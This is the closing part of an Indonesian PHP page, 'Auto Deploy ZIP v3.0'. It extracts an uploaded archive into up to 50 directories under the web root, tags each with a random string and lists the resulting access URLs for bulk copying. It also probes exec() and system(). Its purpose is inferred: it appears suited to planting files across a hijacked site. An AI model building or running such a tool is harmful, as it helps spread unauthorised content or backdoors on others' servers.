<input type="number" name="jumlah" class="form-input" min="1" max="50" value="3" required>
<div style="margin-top:5px;font-size:12px;color:#666;">Minimal 1, maksimal 50 (atau sesuai jumlah folder yang tersedia)</div>
</div>
<!-- ==================== TOMBOL DEPLOY ==================== -->
<input type="hidden" name="action" value="deploy">
<div style="text-align:center;">
<button type="submit" class="btn btn-success" style="font-size:18px;padding:15px 40px;" <?php echo !$unzip_method ? 'disabled style="opacity:0.5;cursor:not-allowed;"' : ''; ?>>
<?php echo $unzip_method ? 'đ Deploy Sekarang' : 'â ī¸ Unzip Tidak Tersedia'; ?>
</button>
<?php if (!$unzip_method): ?>
<div style="margin-top:10px;font-size:13px;color:#dc3545;">
Install php-zip atau unzip terlebih dahulu!
</div>
<?php endif; ?>
</div>
</form>
<!-- Daftar ZIP yang tersedia -->
<?php if (!empty($zip_files)): ?>
<div style="margin-top:20px;">
<h4 style="color:#333;font-size:14px;margin-bottom:10px;">đ ZIP yang tersedia di server:</h4>
<div class="zip-list">
<?php foreach ($zip_files as $zip): ?>
<div class="item">
<span class="name">đ <?php echo htmlspecialchars($zip['name']); ?></span>
<span class="info"><?php echo formatSize($zip['size']); ?> | <?php echo date('Y-m-d H:i', $zip['modified']); ?></span>
</div>
<?php endforeach; ?>
</div>
</div>
<?php endif; ?>
</div>
<?php else: ?>
<!-- Log -->
<div class="log-box">
<?php foreach ($log as $entry): ?>
<div class="<?php echo $entry['type']; ?>"><?php echo $entry['msg']; ?></div>
<?php endforeach; ?>
</div>
<!-- Hasil Ringkasan -->
<?php if (!empty($results)): ?>
<div style="margin-top:15px;">
<h4 style="color:#333;margin-bottom:10px;">đ Hasil Deploy (<?php echo $success_count; ?> sukses dari <?php echo count($results); ?> directory):</h4>
<?php foreach ($results as $result): ?>
<div class="result-item" style="border-left-color: <?php echo $result['status'] == 'success' ? '#28a745' : '#dc3545'; ?>;">
<div class="dir-path">
đ <?php echo $result['path']; ?> (Level <?php echo $result['level']; ?>)
<span class="random-string"><?php echo $result['random_string']; ?></span>
<?php if ($result['status'] == 'success' && isset($result['method'])): ?>
<span class="method-badge"><?php echo $result['method']; ?></span>
<?php endif; ?>
</div>
<?php if ($result['status'] == 'success'): ?>
<div class="dir-urls">
đ <a href="<?php echo $result['extract_url']; ?>" target="_blank"><?php echo $result['extract_url']; ?></a><br>
đ <a href="<?php echo $result['access_url']; ?>" target="_blank"><?php echo $result['access_url']; ?></a>
</div>
<?php else: ?>
<div style="color:#dc3545;font-size:12px;">â Error: <?php echo $result['error']; ?></div>
<?php endif; ?>
</div>
<?php endforeach; ?>
</div>
<!-- ALL URL + COPY ALL -->
<?php if (!empty($url_list)): ?>
<div class="all-urls-box">
<div class="header-box">
<h4>đ ALL URL (<?php echo count($url_list); ?> URL):</h4>
<div style="display:flex;gap:10px;flex-wrap:wrap;">
<button onclick="copyAllUrls()" class="btn btn-primary btn-sm">đ Copy All</button>
<button onclick="copyAllUrlsWithNumber()" class="btn btn-success btn-sm">đ Copy with Number</button>
</div>
</div>
<div id="all-urls-container" class="url-list">
<?php
foreach ($url_list as $index => $url):
echo trim($url);
if ($index < count($url_list) - 1) {
echo "\n";
}
endforeach;
?>
</div>
<div class="note">
Klik "Copy All" untuk menyalin semua URL (1 URL per baris)
<br>
<span style="color:#666;font-size:11px;">
Total: <?php echo count($url_list); ?> URL valid
</span>
</div>
</div>
<?php endif; ?>
<?php endif; ?>
<!-- Tombol -->
<div class="flex mt-15">
<a href="?" class="btn btn-primary">đ Deploy Lagi</a>
</div>
<?php endif; ?>
</div>
</div>
<!-- ==================== INFO ==================== -->
<div class="card">
<div class="card-header">
<span class="title">âšī¸ Status</span>
<span class="badge">INFO</span>
</div>
<div class="card-body">
<div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;font-size:13px;">
<div><span style="color:#666;">Document Root:</span> <strong><?php echo $root; ?></strong></div>
<div><span style="color:#666;">Default Root:</span> <strong><?php echo $default_root; ?></strong></div>
<div><span style="color:#666;">Temp Folder:</span> <strong><?php echo $temp_dir; ?></strong></div>
<div><span style="color:#666;">Upload Folder:</span> <strong><?php echo $upload_dir; ?></strong></div>
<div><span style="color:#666;">ZipArchive:</span> <strong><?php echo class_exists('ZipArchive') ? 'â
Tersedia' : 'â Tidak tersedia'; ?></strong></div>
<div><span style="color:#666;">exec(unzip):</span> <strong><?php echo (function_exists('exec') && @exec('unzip -v 2>&1') !== false) ? 'â
Tersedia' : 'â Tidak tersedia'; ?></strong></div>
<div><span style="color:#666;">system(unzip):</span> <strong><?php echo (function_exists('system') && @system('unzip -v 2>&1') !== false) ? 'â
Tersedia' : 'â Tidak tersedia'; ?></strong></div>
<div><span style="color:#666;">PclZip:</span> <strong><?php echo file_exists(__DIR__ . '/pclzip.lib.php') ? 'â
Tersedia' : 'â Tidak tersedia'; ?></strong></div>
<div><span style="color:#666;">ZIP Tersedia:</span> <strong><?php echo count($zip_files); ?> file</strong></div>
<div><span style="color:#666;">Custom Root:</span> <strong><?php echo !empty($custom_root) && is_dir($custom_root) ? 'â
' . $custom_root : 'â Tidak aktif'; ?></strong></div>
</div>
</div>
</div>
<!-- FOOTER -->
<div class="footer">
<?php echo date('Y-m-d H:i:s'); ?> | Auto Deploy ZIP (Multi Method) v3.0 - Support 4 Metode Unzip
</div>
</div>
<script>
// ====================================================
// FILE UPLOAD DISPLAY
// ====================================================
document.getElementById('zip_file_input').addEventListener('change', function(e) {
var file = this.files[0];
if (file) {
document.getElementById('selected-file-name').textContent = file.name + ' (' + formatSize(file.size) + ')';
document.getElementById('file-name-display').style.display = 'block';
}
});
function formatSize(bytes) {
if (bytes >= 1073741824) {
return (bytes / 1073741824).toFixed(2) + ' GB';
} else if (bytes >= 1048576) {
return (bytes / 1048576).toFixed(2) + ' MB';
} else if (bytes >= 1024) {
return (bytes / 1024).toFixed(2) + ' KB';
} else {
return bytes + ' B';
}
}
// ====================================================
// FUNGSI COPY ALL URL
// ====================================================
function copyAllUrls() {
var container = document.getElementById('all-urls-container');
if (!container) {
showToast('â Tidak ada URL untuk di-copy!', 'error');
return;
}
var text = container.innerText.trim();
if (!text) {
showToast('â Tidak ada URL yang berhasil di-deploy!', 'error');
return;
}
var urls = text.split('\n')
.map(line => line.trim())
.filter(line => line.length > 0);
if (urls.length === 0) {
showToast('â Tidak ada URL yang valid!', 'error');
return;
}
var finalText = urls.join('\n');
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(finalText).then(function() {
showToast('â
' + urls.length + ' URL berhasil di-copy!', 'success');
}).catch(function() {
fallbackCopy(finalText, urls.length);
});
} else {
fallbackCopy(finalText, urls.length);
}
}
function copyAllUrlsWithNumber() {
var container = document.getElementById('all-urls-container');
if (!container) {
showToast('â Tidak ada URL untuk di-copy!', 'error');
return;
}
var text = container.innerText.trim();
if (!text) {
showToast('â Tidak ada URL yang berhasil di-deploy!', 'error');
return;
}
var urls = text.split('\n')
.map(line => line.trim())
.filter(line => line.length > 0);
if (urls.length === 0) {
showToast('â Tidak ada URL yang valid!', 'error');
return;
}
var numberedText = urls.map((url, index) => {
return (index + 1) + ". " + url;
}).join('\n');
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(numberedText).then(function() {
showToast('â
' + urls.length + ' URL (dengan nomor) berhasil di-copy!', 'success');
}).catch(function() {
fallbackCopy(numberedText, urls.length);
});
} else {
fallbackCopy(numberedText, urls.length);
}
}
function fallbackCopy(text, count) {
var textarea = document.createElement('textarea');
textarea.value = text;
textarea.style.position = 'fixed';
textarea.style.opacity = '0';
textarea.style.left = '-9999px';
textarea.style.top = '-9999px';
document.body.appendChild(textarea);
textarea.select();
textarea.setSelectionRange(0, 99999);
try {
var successful = document.execCommand('copy');
if (successful) {
showToast('â
' + count + ' URL berhasil di-copy!', 'success');
} else {
showToast('â Gagal copy. Silakan copy manual.', 'error');
}
} catch (err) {
showToast('â Gagal copy. Silakan copy manual.', 'error');
}
document.body.removeChild(textarea);
}
function showToast(message, type) {
var toast = document.getElementById('toast');
if (!toast) {
toast = document.createElement('div');
toast.id = 'toast';
toast.className = 'toast';
document.body.appendChild(toast);
}
toast.textContent = message;
toast.className = 'toast ' + type;
toast.classList.add('show');
clearTimeout(toast._timeout);
toast._timeout = setTimeout(function() {
toast.classList.remove('show');
}, 3000);
}
</script>
</body>
</html>